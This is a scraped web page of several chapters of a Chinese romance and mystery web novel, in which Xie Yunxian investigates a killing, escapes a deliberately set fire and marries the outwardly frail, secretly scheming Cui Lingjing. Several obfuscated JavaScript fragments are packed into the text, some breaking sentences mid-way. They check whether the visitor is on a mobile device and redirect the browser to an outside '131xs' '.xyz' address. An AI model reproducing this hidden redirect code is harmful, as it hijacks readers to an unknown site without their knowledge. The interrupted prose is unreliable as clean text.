0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883550|176408||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两人僵持着,谢云闲只能厚着脸皮,赖在人家身上不起。 “……” 她缓了一会,感觉好了些,立即撑着地,摇摇晃晃从崔灵景身上爬了起来。 谢云闲一离开,崔灵景就用拳头抵住嘴,偏头咳了起来。 谢云闲神色复杂地看着他,心底的某一处似乎被轻轻地磨蹭了一下。 崔灵景明明身体弱得很,却还是扶住了她。哪怕摔倒,也把她护在怀里。她一直压着他,他忍着咳嗽,却无一句责怪。 谢云闲朝扶坐在地上的虚弱的崔灵景伸出了手。 “……” 弱柳扶风的崔四公子先是愣了一下,而后握了上来。 他的掌心宽厚干燥,谢云闲手背蹭到了一层薄茧,有点痒,似是被羽毛轻挠了一下。 崔灵景借着谢云闲的力,从地上站了起来。 “多谢二姑娘。” 谢云闲看了眼崔灵景红了一片的肩头,默默移开了视线。 仅仅一瞬的目光,却被崔灵景敏锐捕捉到了。 崔灵景喉间溢出一声轻笑:“二姑娘想问什么,直说无妨。” 谢云闲一哽,本想问他肩膀怎么伤的,脱口而出却是:“……你把衣服穿好。” 崔灵景肤白,衬得那抹红更为刺目,看着可怖。 可这家伙毫无察觉,坦然地赤|裸着肩头,还调侃她! 崔灵景一言不发,黑亮眸子里藏着笑,似乎在说:这不是谢姑娘扯开的么? 谢云闲偏过头不看他。 好在崔灵景没她想的那般不要脸,还是将自己拾掇好了,衣服整理得熨帖无痕。 谢云闲这才问:“崔四公子的肩膀怎么了?” “昨日不小心被匣子砸到了。” “这好端端的匣子,怎会突然砸落?” “多谢二姑娘关心。舍弟顽劣,不小心撞倒了,让姑娘见笑了。” 谢云闲只好道:“那你下次要多加小心。” 崔灵景提醒道:“二姑娘方才不是找卢青有事?” 谢云闲被这一闹打断,险些忘了这茬。 “对了。” 卢青莫名被点了名,呆滞转过身,云里雾里:“二姑娘找我?” “那日你来谢府,我丢了个玉镯子。”谢云闲道,“早上起得急,正巧没戴,回到房中就发现不见了,四处找遍了都没找到。” 谢云闲双目无神,神色落寞:“那是阿娘生前留给我的玉镯子,是她求给我的保平安之物,意义深重……自丢失之日起,我便心神不宁、悲痛不已。” 荷华满心震撼:这又演的哪出戏? 卢青读懂了她的意思:“姑娘是怀疑我们一行人中有人拿走了?” 谢云闲点点头,张口就来:“我的婢女云溪曾言那日有一人在我的院子前徘徊,行踪诡异,待她叫来人,人却不见了。据说那人与你们装束一样,是个贼眉鼠眼的男子,鼻头上有颗痣。” 崔灵景问:“谢姑娘之前为何不说?” 谢云闲道:“那几日阿爹忙得焦头烂额,只是丢了镯子,我不想让此事引发谢崔二家矛盾,给他徒增烦扰,只好暗地查探;且这也仅是我家小婢一面之词,无实证,便难以追踪。” 卢青问:“那姑娘想让我做什么?” “你可有当日入府花名册?若有人体貌特征与那小婢所言相吻合,事情便好办了。” 荷华这才反应过来,原来谢云闲是想要调查那具尸体的身份。 “并无。”卢青摇头,“不过来来去去就那几人,现做一册也不难……” 他看向崔灵景,崔灵景冲他颔首:“替二姑娘找一找罢。” 卢青便拱手道:“请二姑娘稍候,过几日我便给您送过去。” 谢云闲喜笑颜开:“多谢。” 8. 算计中 卢青将谢云闲二人送走后,又回到医馆。 卫大夫正指着崔灵景的鼻子数落道:“你这身体,得好好养着,你自己不上心,我也救不了你!” 这世上能这么骂他家公子的,也就卫大夫了。 卢青看着自家公子垂着脑袋挨了一顿骂也不敢吱声,不禁低下头憋笑。 卫大夫说的正是他想说的。 可惜他没本事,不敢冲撞自家公子。 就崔四公子这身体,能不能活到卫大夫这年纪都说不定! 为了在崔家忍辱负重,崔灵景多年来的伤寒也不肯根治,拖着病恹恹的一副身子,就怕寒气入髓,再拖下去就迟了。 卫大夫骂完甩袖就走,卢青这才走过去,忍不住道:“公子,崔净风如此欺辱您,不如让我去给他点教训。” 卢青对崔家那几位公子意见很大,经常背地里直呼大名,不用尊称。崔灵景知道,却从未纠正他。 崔灵景平淡道:“不急。” “可是……” “区区崔净风,不足挂齿。”崔灵景道,“你派人盯紧益州谢家,尤其是谢睿和谢观声。李刺史那边有任何消息,及时传给我。” “是。” 一切都在崔灵景的计划中。 就连谢云闲的一举一动,从益州到建康,都在崔灵景视线之内。 昨日崔灵景得到谢云闲的行踪,故意去芳歇楼,故意激怒崔净风,谢云闲以为的偶遇,都是崔灵景一手促成的。 “谢二姑娘那边……” “没想到会这里撞见她。” 卢青忙道:“我方才没拦住她……” 崔灵景抬手打断:“她迟早会知道的。” “公子可是有新的对策了?” “并无。” 卢青不解,公子提前暴露了身份,没关系吗? 崔灵景左手轻轻捏着右手手腕,“她知道便知道吧,不碍事。目前看来她不清楚谢睿的事,不过不能掉以轻心。” 卢青:“是,我明白。” 崔灵景停住手中动作,摊开右掌心看了看。 方才他就是用这一只手与谢云闲右手相握,被她一把拉了起来。 谢云闲的手白嫩纤细,因为涂了油膏,掌心柔软滑润。虽是女子,但气力不小,行事风范不像他料想中那般娇柔软绵。 她把他拉起来时,未免两人又倒一次,崔灵景还是暗暗使了力气。 方才他是为了维持软弱无力的形象,才故意收了力。不料谢云闲紧扯着他的衣襟,才致两人双双摔倒在地。 这一摔,谢云闲望向崔灵景的目光变得耐人寻味——从探究变成了同情,仿佛他已病入膏肓,无药可救。 思及此,崔灵景低笑了一声。 卢青不明所以,他家公子突然笑什么? 崔灵景收起笑,目光骤冷:“继续盯着她,她在撒谎。” “啊?”卢青没跟上自家公子的思路。 崔灵景语气温和了些,懒洋洋道:“那镯子你也帮她找找。” 卢青愣愣地看着崔灵景,心想:他家公子也有这么温情暖心的时候? 然而崔灵景下一句是:“方便盯着她的行动。” - 益州。 迎春院是谢云闲居住的地方,她走后,院子里便空了,看上去了无生气。 谢观声的院子与迎春院相邻,路过迎春院,看见一个婢女端着一盆水往外走。他心有所感,停住了脚步。 云溪原是迎春院的婢女,没跟谢云闲去建康,便留在了谢府中,负责院内定期的洒扫适宜。 “二公子?”云溪忽然瞧见院门前有个眼熟身影,吃了一惊,快步走了过去。 谢观声回过神,低低“嗯”了一声,走了进去。 云溪跟在他身后,问:“二公子可是想念二姑娘了?” 云溪是热切直率的性子,谢观声不说话,她便自顾自地说起来:“二姑娘走后迎春院冷清来了许多,明明是春日,却冷得如冬日。” “唉,二姑娘想必也不想离家太远……二公子,下聘当日,姑娘看着笑意不减,实则心不在焉,连午膳不用便直接回房了,当晚也是早早睡下了。” 谢观声问:“立春前两日,即下聘当日,你可有见到二姑娘从屋内出来?” 云溪愣了一下,才答:“不曾……奴婢记得,二姑娘那几日早早用过晚膳就回房了,没有再出门。” “那个跟着她的婢女,可有离开过?” “二公子可是问荷华?她一直是跟着姑娘的……”云溪一顿,想起什么:“那日我似乎见到她拎着包裹出门,不过她走得极快,夜深影暗,我看不清晰。” 谢观声出乎意料地又问了一遍:“一点声响都没有?” 云溪细细思索一番,仍是答道:“那日奴婢守在姑娘门外,屋内灭烛后约莫过了半个时辰,都再无动静。奴婢见二姑娘并无吩咐,便自行回房歇息了。” 谢观声点头,表示知道了:“你退下吧。” “是,奴婢告退。” 云溪退下后,谢观声并未离开,而是直接走到后院,在一棵树前停下,仰头望着那堵围墙,脸色深沉,陷入沉思。 “哥哥!” 身后响起一连串轻快的脚步声,谢观声还未回头,一个倩影就扑上来拽住了他的胳膊。 谢兰睁着一双亮晶晶的杏眸望着他:“哥哥今日回来好早,怎么在霄姐姐院里?” 谢兰远远就望见谢观声在与云溪交谈,起先她还不敢确认,走近了才发现真是她二哥。 谢观声的目光柔和了一些,抬手抚了抚她的脑袋,“方才父亲让我去了趟书房,与他商讨边疆之事,故提前回来了。” 谢兰听是公务,不再追问,转言道:“二哥哥,许多日没见你了,跟我一起去阿娘房中坐坐吧?” 见他不说话,谢兰摇着他的手臂道:“去嘛去嘛。” 谢观声想了想,便同意了,他一向拗不过谢兰。 两人一同行至南桑院,陆瑞岚正巧用过晚膳,在院中消食。 “阿娘!”谢兰一个飞扑,投入陆瑞岚怀中,亲昵道:“阿娘,我把二哥哥带来了,您昨日不还念叨他吗?” 陆瑞岚也早早看见了谢观声,招手让他来自己身侧坐着。 谢观声道:“阿娘。” 陆瑞岚道:“你今日倒是有空了。” 谢观声好像是为公务而生的,常年不见人影。问起近况,也只是问一句,答一句,讷口少言,更别提那婚娶之事了。然谢观声年已二十三,如今谢帆不在,他便是谢府未来的主人,怎能不娶妻生子? 作为母亲,陆瑞岚早就坐不住了,婉言道:“过些日子谢霄便要与那崔四公子成亲,你长她四岁,可有心仪的姑娘?” 谢观声垂眸:“全凭阿娘定夺。” 陆瑞岚无声叹了口气。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883551|176408||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢兰从陆瑞岚怀中坐起来:“二姐姐也到建康了,不知她住得可习惯。她走了,倒没人陪我玩了。她真要嫁给那位崔四公子吗?那位崔四公子,究竟是个什么样的人?” 谢兰踢了踢谢观声,“二哥哥,你可认识崔灵景?” 谢观声回过神,摇头:“没有太多印象。” 谢兰鼓起腮帮子,“二姐姐可千万别出什么事才好……” - 谢云闲还未等到卢青的花名册,倒是先等到了姑母那边回的消息。 楚羽给谢云闲带来了两句话。 “云闲姑娘,霜夫人道此事真相未卜,行动有风险,姑娘切勿打草惊蛇,伤了自己。” “她担心您的安危,派我来府上照料您一段时日。” 谢云闲安安分分地回复:“多谢姑母,云闲知道了。” 一转身,她便将自己的承诺抛之脑后。 “荷华,我有一事不解。” “姑娘想到什么了?” “你说,那人故意扮鬼,为何?” “……为夺取钱财?” 谢云闲摇头:“昨夜府上并未丢失任何钱财。” “……为伤人性命?” 谢云闲仍是摇头:“昨夜他们本意并非伤我,只是我冲出去撞破了他,才会招来杀机。” “那……为了吓人?” 谢云闲再次否定:“据楚羽所言,闹鬼之事五年前便开始出现了。这五年府上人去楼空,何来的‘吓人’?” 荷华愁苦道:“那奴婢实在是想不出了。” “不过,我倒觉得你说的并非不对。” “嗯?” “只是这‘吓人’,吓的并非府中人,而是府外人。”谢云闲神色凝重,“依我猜,这府上应当是有什么不可见人的秘密。那人故意扮鬼,是为了让人不敢接近,不让他们发现这里藏着的秘密。” 若非闹鬼,这处宅子就闲置了,或许会有别的人搬进来。 “那是什么?” “我也不知。”谢云闲双眸明亮,“不如我们夜探谢府吧?” 又来? 荷华急忙劝阻:“姑娘,这太危险了!若是再遇到伏击怎好?霜夫人方才提醒过您……” “咚咚咚。” 窗棂忽然被敲了三下。 不似风声,倒像人为。 两人立时警惕起来,谢云闲找了根趁手的竹棒,将脚步声放到最轻,步步移至窗牖。 窗外身影发出熟悉的声音:“二姑娘,是我。” 是卢青。 谢云闲和荷华同时松了口气,打开窗,蒙着脸的卢青翻窗而入。 他从怀中掏出一本册子,开门见山道:“二姑娘,这是当日随行之人的记录,若有其它问题,姑娘尽管吩咐。” “多谢了。” 谢云闲接过花名册,却不翻看,而是将其放下,目光转向卢青,上下打量。 卢青被看得发慌:“二姑娘,怎么了?” “你会武功?” “是。” “若遇小贼,你有几分胜算?” 卢青认真答复:“不敢夸夸其谈,但普通小贼并非我的对手,至多三招便可取胜。” “你可愿再帮我个忙?” 卢青恭敬道:“二姑娘请吩咐。” 谢云闲笑靥如花,冲他眨眨眼:“今夜还请你留步。” 卢青:“啊?” 9. 探旧宅 传闻谢二姑娘端庄淑慧,温和有礼,做事有分寸,与人交往有距离感……卢青看着眼前目光灼灼的二姑娘,陷入了沉默。 “你慢慢考虑。”谢云闲示意他随意坐。 借着烛光,谢云闲翻开了那本花名册。 册中内容比谢云闲料想中更齐全,既有随从的身份信息,还画了人物图像。她从第一页翻到最后一页,数了数,却只有五人。可那日她见到的,分明不止五人。 卢青双手放在膝上,浑身不自在,不知这谢二姑娘是几个意思。 都道谢二姑娘心思难猜——果真如此,完全可与他家公子相媲美。公子今日吩咐,要接近谢云闲,盯着她的行动,此时确实不失为一个好时机…… 谢云闲疑道:“卢青,所有人都在这上面了?” “是的姑娘,这几人都是崔家的仆从,跟随我从建康到了益州。” 谢云闲面露讶异,肯定地说:“那日并不止这些人。” 卢青苦笑一声:“并非有意欺瞒姑娘,只是大夫人当时确实只派了这五人。不瞒姑娘,那日姑娘见到的许多人,是我到了益州,背地里找来充场面的。” 这崔府大夫人对崔灵景的排挤和恶意可真是耳目昭彰啊。 谢云闲若有所思,“其他人还能找到吗?” 卢青有些为难:“都是些小厮丫鬟,怕是很难……得去一趟益州才行。” 建康至益州相距甚远,即便卢青自愿帮忙,谢云闲也不好麻烦他。毕竟她并非真的丢了镯子,只是想查明那具尸体的身份。 “罢了。” 线索至此断了,刚燃起的希望的小火苗,倏忽就灭了。 谢云闲心中失落,听见卢青问:“姑娘那日可丢失其他东西?” “并无。” “这倒是奇了怪了,为何这贼人只取镯子,不盗其他珍宝?” 对啊。 谢云闲倏地冒出一个疑问:为何那小贼为何会被杀?为何偏偏是他? 是有预谋的凶杀,还是迫不得已才杀害的? 若卢青所言为真,他便是普通家丁,没什么仇人。即便仇家寻上门,也不该寻到谢府上。能自由出入谢府的,只有谢府的人。谢府何人会跟一个无名小厮结仇?又或者说,何人会突然出现在迎春院,并撞见这小厮,还要杀害他? 此人做事隐秘,身手不凡,定不是府上孱弱年迈的老人或娇弱无力的丫鬟,由此排除,有嫌疑的人所剩无几。 谢云闲目似秋水,朱唇轻启,温声道:“卢青,你会在什么情况下将人灭口?” “啊?”卢青被这猝不及防问话吓得手一抖。 他双手沾满鲜血,剑下魂魄数不胜数……为何杀人?他从未想过,他一向受命而为。 他含糊道:“二姑娘想问什么?” 谢云闲比划着描述了一下:“嗯……比如,你见到一人,在你家中,呃,在崔四公子的院子里,你会将其杀害吗?” “若此人对公子不轨,我必定取他性命,绝不手下留情。” 谢云闲想了想:“那你会如何处置尸体?” “自然是悄无声息将尸体处理掉。” “为何?” “若他人知道四公子院里死了人,会留下把柄,招来不必要的麻烦。” 谢云闲醍醐灌顶,双眸亮起:“原来如此!” 卢青摸不着头脑:“二姑娘,怎么了?” 谢云闲想到了除了仇家的第二种可能——为了掩饰身份。 最初凶手只是踹了一脚,并不打算杀人。接着,凶手将人带走,严加盘问。可死者不招,又见了凶手的样貌,凶手只好将人杀害,以隐藏自己的身份。 此人必定武功强大,且身份特殊。能够不动声色在府中杀人,并将尸体扔出墙外,寻时机再处理……谢云闲脑中闪过好几副面孔,最终一张脸停住,在她眼前一晃。 怎么会是他? 可他符合谢云闲对凶手的所有判断。 谢家子弟以文为生,习武之人并不多,而他身为益州太守,曾入边军,武力高强。 他所住之处与迎春院相隔五丈远,若要回房,通常要途经迎春院。 他身份尊贵,位高权重,那小贼必会认出他。 他是谢云闲的二哥,谢观声。 荷华见她脸色不对,问:“姑娘……怎么了?” 谢云闲手指紧攥成拳头,指尖嵌入掌心,嘴上却平静淡然道:“无事。” “姑娘,时候不早了。”荷华小声提醒。 卢青疑惑:“二姑娘要去做什么?” 荷华道:“姑娘想去捉鬼。” “姑娘说的是那鬼影?” 谢云闲愣了一下,不想卢青竟知晓此事。 卢青解释道:“谢府闹鬼之事于建康并非秘闻……” 他说着说着,也意识到了什么:“姑娘是想让我抓鬼?可我并非道士,也不会那驱鬼之术……” 谢云闲眨眨眼。 卢青知道,崔灵景想必也有所耳闻。 今日她跟崔灵景扯谎,他是不是发现了?但并未揭穿她? 她感觉心里堵着一口气,好像自己在崔灵景那里不仅总占不到便宜。 三人从等到快子时了,也没再见到那鬼影,反而接二连三地打起了哈欠。 谢云闲揉揉朦胧泪眼,压住倦意,提议:“我们出去看看吧。” 那日她们是在谢睿的房中遇见了那白鬼。 荷华忍不住道:“姑娘您小心点,三日便是大婚之日……” 谢云闲点头:“我有分寸。” 夜色四合,冷淡月光洒落一地。 三人月下奔走,影随风动。 卢青边跑边思考起自己最初来谢府的目的,不就是为了送个花名册吗?怎么情况变成这样了? 谢睿书房的门锁上了,门锁沾了灰,看来很久没人来过了。 谢云闲看了眼卢青,卢青会意,剑光一闪,将门锁两断。 谢云闲赞许道:“身手不错。” 卢青后知后觉反应过来。 等等……发生了什么?为何谢二姑娘一个眼神,他就乖乖做了? 由不得他多加思考,谢云闲已快步走了进去。 谢云闲一进去,就吃了满嘴的灰。 “咳咳,咳咳。” “咳咳,咳咳咳。” “怎么回事……” 屋内积尘如烟,呛得三人咳嗽不止。 这样一间屋子,应该没有藏着什么东西。 谢云闲垂下眼睫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883552|176408||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,投落一片阴影,意识到自己找错了。 不过既然来了,谢云闲还是四处走了走。她也想看看,那白鬼是从何处冒出来的。 房中有许多旧书,谢睿都没有带走。谢云闲翻了翻,看了看,并未发现异样。 倏忽,她闻到一阵若有若无的焦味。 卢青率先变了脸色,走过来道:“不好!” “怎么了?”谢云闲问。 话音方落,就见东侧窗口飘进了一阵浓烟。 透过窗纸,她看见灼目的火光撕破了阗寂的夜幕。 “怎么回事?” 谢云闲和荷华都呆住了。 大火迅速蔓延,宛如一条巨龙,蜿蜒升起,将东侧窗棂一口吞噬。火花“噼啪”作响,直接将一根横木烧断成了两截。 谢云闲用手帕捂住了嘴:“咳……怎会突然起火?” 卢青神色肃穆:“我们刚到就出了意外,十有八|九是有人故意为之。” 有人要杀她? 谢云闲心中骇然。 慌乱的脚步声由远及近,屋外众多小厮和丫鬟的喊叫着:“走水!走水!” “姑娘快走!”荷华被呛得眼泪直飙。 卢青也道:“姑娘请快些离开。我从上面走。” “那你千万要小心!” 谢云闲一咬牙,在火势席卷之前,与荷华相互搀扶着,跌跌撞撞跑了出去。 “二姑娘?” “姑娘您怎么会在这里?” “姑娘是从这屋内跑出来的!” “姑娘可有受伤?!” 谢云闲被众人包围起来嘘寒问暖。 越过攒动人头,她望见卢青飞上屋檐,转眼便消失在黑夜中。 “云闲姑娘在看什么?” 谢云闲回头,见楚羽不知何时站在了自己身后。 其他人都是匆忙披了件外衣就跑出来救火,有个小厮连鞋都穿反了。楚羽却是从头到脚一丝不苟,看不出半点慌乱。若非未施粉黛,谢云闲几乎要怀疑她还未就寝。不愧是大夫人身边的人,即便面对危急情况,也能有条不紊,保持冷静。 “云闲姑娘这么晚了,怎么还没睡?” “过几日大婚,忆及往事,辗转难眠,便来阿爹房里看看。” 楚羽一笑:“原来是想家人了。” 大火很快被扑灭,一群家仆累得气喘吁吁,热汗淋漓。 谢云闲却有些冷,抓紧了外袍带子。 荷华抓来一人问话:“为何会失火?” 那人摇头:“我们也不知道。” “是故意纵火吗?” “天气并不干燥,屋内没有自燃的物品,不排除这种可能。” 谢云闲问:“屋内的东西可还在?” 那人道:“大火蔓延虽快,但起先火势不大,都救下了,并无典籍烧毁。” 谢云闲松了口气,转向楚羽,虽然浅笑着,语气却严肃强硬:“好端端的怎会走水?楚羽,还得麻烦你去查一查。” “事关姑娘安危,我一定彻查到底。” 谢云闲不再多言。 大火已灭,房檐之上还萦绕着一片浓烟,如魔鬼的吐息,模糊了她的视线。 是警告吗? 谢云闲想。 10. 花烛夜 第二日起,谢云闲就被荷华盯上了。 “你别这样看着我……”谢云闲率先移开视线。 难得见她吃瘪,荷华当然要乘胜追击了。 “姑娘,您又想去哪?离大婚还有三日,您不能再乱来了!” 谢云闲委屈道:“我没想乱跑……都忙了一日了,我就想出去踹口气。” 荷华苦口婆心劝道:“姑娘,这次我们侥幸逃脱,那下次呢?万一有什么人,想要害您,不再是放火,而是直接出手呢?算我求您了,别再掉以轻心不当回事了!您要是出了什么事,我如何交代?我这后半生,服侍谁去?” 谢云闲从前也没觉得荷华这么能说,耳朵都被磨出了茧子。 她举手投降:“好好好,这三日,我绝不乱跑,什么都不做了,行了吧?” 荷华丝毫不轻信:“我会盯着您的。” “……” 众人忙于婚宴,谢云闲也不例外。她每日忙得倒头就睡,也没有多余的心思了。谢云闲并非不怕,那夜之后,她也曾梦见自己被困于大火之中,拼命呼救,却无人伸出援手,挣扎着醒过来,满头大汗。任她再大胆,也只是个闺阁出身的小姐,从小被捧在手心里,没吃过苦头,被谢家的光环护着,没受过欺负,更别说有性命之危了。 在谢云闲看来,此时最要紧的,还是她与崔灵景的婚事。 成亲当日,恰好是惊蛰。 “姑娘,您紧张吗?”荷华为谢云闲梳发。 谢云闲笑她:“我看你比我更紧张。” “我是又高兴又忧心。”荷华道,“那崔四公子看着并非风流人物,不至于负你,我为你而高兴。但我忧心,也是怕你不高兴,毕竟这门婚事,非你所愿。” 谢云闲看着镜子里的自己,叹道:“事到如今,已成定局,我再不情愿,又有何用?” 镜中人乃是今日全建康最貌美的新娘子,凤冠霞帔,雍容华贵,袖口处金丝翠鸟栩栩如生,刺绣腰带勾勒出一截玲珑腰身,面似芙蓉,眉如柳叶,令人惊叹。 大喜之日,她的脸上却看不出半点儿高兴。 荷华恳切道:“姑娘,您一定会幸福的。” 谢云闲语气轻松,神色淡然:“我在想,今夜圆房该如何是好。” 谢云闲有自己的原则,嫁人可以,但跟心意完全不相通之人圆房,她断不能接受。 “云闲姑娘,来吃汤圆。”楚羽推门而入,两人谈话戛然而止。 那日谢云闲命楚羽去调查走水之事,结果在她意料之中——是有人蓄意为之。但究竟是何人,暂时还未查出。 得知消息的谢云闲心情沉重。她直觉那人是冲自己而来,却不知其目的为何。当日卢青都毫无察觉,想必对方十分警惕,或是武力深不可测。卢青脸上蒙了布,不知对方是否认出他的模样,谢云闲不想因此牵扯进崔灵景。 “云闲姑娘,时辰快到了,发什么愣呢?”楚羽开口提醒。 谢云闲回过神,低头不语,将碗中汤圆吃尽,漱了口,接过荷华递来的手帕擦了擦嘴。 楚羽低头道:“祝福云闲姑娘与崔四公子圆满幸福。” …… 崔家花轿停于堂房前,将谢云闲从谢府旧宅接走,在一片鼓乐齐鸣、锣鼓喧天中,花轿顺利抵达了崔府。 谢云闲第一次行这成婚之礼,可谓十分繁琐。她全程迷迷瞪瞪,宛如提线木偶,被婚俗礼教牵着走。 香火缭绕,红烛高烧,三叩行礼,入洞房,闹洞房……直至屋门合上,将欢声笑语隔绝在外,谢云闲才仿佛活了过来。 她盯着床头显目的花生、红枣和核桃,心神不属,一颗心怦怦直跳,堪比屋外气势磅礴的鼓声。 怎么办?她该如何婉拒圆房?崔灵景会相信吗?会答应吗?若是崔灵景强来,她要如何应对? 无数担忧挤满了谢云闲的思绪,她手指发麻,不自在地攥紧了扇柄。 看起来崔灵景并非无礼之人,平日说话做事都很温柔和善……应当不会强来吧? “谢二姑娘。”崔灵景在她身侧坐下,唤她。 “嗯……” 谢云闲转过身,与他相对而坐,轻轻拨开了纱扇。 红扇之后,眼波流转,桃腮粉面,惊艳十分。她平日不爱浓妆艳抹,此时光与影恰到好处,落在她精致的脸庞上,将轮廓细细勾勒,更衬得唇红齿白。 饶是崔灵景,也有一瞬的怔愣。 烛光微动。 谢云闲也动了动。 这是她今日除却纱扇,真正看到崔灵景的模样。 这一身大红婚服十分衬他,连原本病弱的脸色都比往日红润了一些。 谢云闲诚恳道:“崔四公子的脸色看起来比前几日好多了。” 在她心里,崔灵景就是崔灵景,即便他们成了亲,崔灵景也只是崔灵景,而不是她的夫君。 崔灵景并未露出任何不悦的神色,而是温柔笑道:“多谢姑娘记挂,近日天气转暖,确实好了些。” “那就好。” 崔灵景也夸赞道:“谢姑娘今日很好看。” 谢云闲微微一笑,礼貌道:“多谢崔公子。” 洞房花烛之夜,两人却客客气气,有来有往,相敬如宾至此,冀缺听了,都得道一声敬佩! 按理说,谢云闲现在应当去花易服,与崔灵景共赴巫山云雨。 她在这顾左右而言他,就是为了不跟崔灵景圆房,能拖一时是一时。 然而下一刻,崔灵景就起身,开始脱衣服。 谢云闲吓得心都跳到了嗓子眼。 “你……” 崔灵景脱掉了最外层的宽袖长衫,看向她:“怎么了?” 谢云闲问也不是,不问也不是。 万一崔灵景没那意思呢?万一是她自作多情了?或许崔灵景是觉得热,想脱件衣服? 她又自我否定:外头冷风还刮着呢…… 谢云闲想着想着,恨不得两眼一闭,直接昏过去,躲过这难捱的月夜。 “谢姑娘。” 崔灵景没再往下脱了,再次坐到她身旁,问她:“你在紧张吗?” “……” 入目皆是喜庆的大红色,两人坐在大红床榻上,一左一右,中间隔了半个人距离。 谢云闲强装淡定:“我紧张什么?” “那你为何目不转睛地盯着我去衣除带?” “……” 谢云闲一时不知如何辩驳。 崔灵景似乎看穿了她的心思,眸底的笑几乎兜不住。 “不吓唬你了。你不想做的事,我不会强迫你。” 谢云闲道:“此话当真?” 崔灵景郑重道:“真。” 你早说嘛。吓我一跳。 谢云闲的心百转千回,最终落于实地。 她觍着脸继续试探:“那,倘若,我一直不愿意呢?” 崔灵景思索一会,状作纠结道:“这便有些令人为难了。” 我就知道! 谢云闲像泄了气的皮球。 崔灵景也是男子,或许今日放过了她,明日就反悔了,天下男子都是这般。 归根结底,她就不该答应这门婚事! 谁能想到呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883553|176408||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?大婚当日,谢二姑娘就悔得肠子都青了。 相顾无言,崔灵景却不知怎的,又轻咳起来。 谢云闲回过神,“你没事吧……” 崔灵景这咳嗽之症看来不简单,反反复复,很是折磨人。 崔灵景往榻上倒了下去,语气虚弱:“今日接亲过于疲劳,身体有些吃不消了。” 谢云闲“啊”了一声,没想到崔灵景比自己先倒下了。 原来崔灵景这么虚啊?难怪会答应她不圆房,看来,嫁给病秧子也有嫁给病秧子的好! 谢云闲心里乐开了花,脸上却透露出对崔灵景的关切:“那你好好休息。” “谢姑娘不睡吗?” “我——”谢云闲一顿。 心中微扬的嘴角僵住了。 对啊。 就算她不用跟崔灵景圆房,她也要跟崔灵景同床共枕。 “你先睡吧,我……迟一些。” “我想起一件事来。”崔灵景突然道。 “什么?” 崔灵景笑道:“今日之后,该叫夫人了。” “……” 谢云闲知道,礼已成,她也该改口,不该一直叫他“崔四公子”,显得生分拘谨。按规矩,她该称崔灵景为“夫君”或“郎君”。 但“夫君”二字实在难以启齿。 这于崔灵景而言却不是难事,他轻而易举地改了口,问她:“夫人打算何时歇息?” 谢云闲只好笑着搪塞道:“过一会。” 她体贴道:“你要是不舒服,就早些睡吧,不必分心于我。” 崔灵景平躺在床上,疲倦地摇了摇头:“无碍。”然后咳了好几声。 谢云闲:“……” 这到底有事还是没事? “要不要找大夫来看看……” 崔灵景摇头,又起了身,将被褥铺开,取了两个软枕,放在中间,将床分成了两半。 他看向谢云闲,语气随常,“夫人不放心的话,就以此为界,我们各睡一边吧。” 谢云闲没想到他会看出自己的忧虑,有一瞬的错愕。回想今日种种,崔灵景都算得上体贴和温柔,从未对她做过任何让她不高兴的事,与料想中的不一样。 这倒让谢云闲有些不好意思了。 崔灵景都做到这份上,她也不好忸怩。谢云闲扑灭一半红烛,全衣躺下,英勇就义般躺在了崔灵景身旁,腰板僵直,两眼一闭,没了声息。 崔灵景觉得有些好笑,但还是转回了头,只轻声留下一句:“睡吧。” 瞬时,房内寂静无声。 长夜漫漫。 谢云闲脑袋嗡嗡的,怎么也睡不着。她不敢乱动,怕自己一动,惊醒了崔灵景。 她紧闭双眼,心中充满杂念。躺了快半个时辰,她听见崔灵景的呼吸声逐渐平缓。然而身边多了个人,她怎么也睡不惯。 “……” 突然,谢云闲感觉床榻晃动了几下,紧接着一道轻微的呼吸朝自己压了过来。 她猛地睁开眼,猝不及防对上崔灵景深潭般的黑眸。 “……” 崔灵景单臂撑在谢云闲身侧,俯身盯着她。两人呼吸相交,不过两掌距离。红纱帐在两人头顶轻轻晃动,牵出一片虚影。 谢云闲不似崔灵景的病态白,她是真的肤白如雪,配上这一身大红婚服,如同一株娇艳的曼珠沙华盛开于彼岸。崔灵景的目光扫过谢云闲血色朱唇、绯红脸颊、浓密羽睫,最终落在她瞪圆的柳叶眸上。 谢云闲呼吸一片凌乱,如同她纷杂的思绪滞在半空:“你……做什么?” 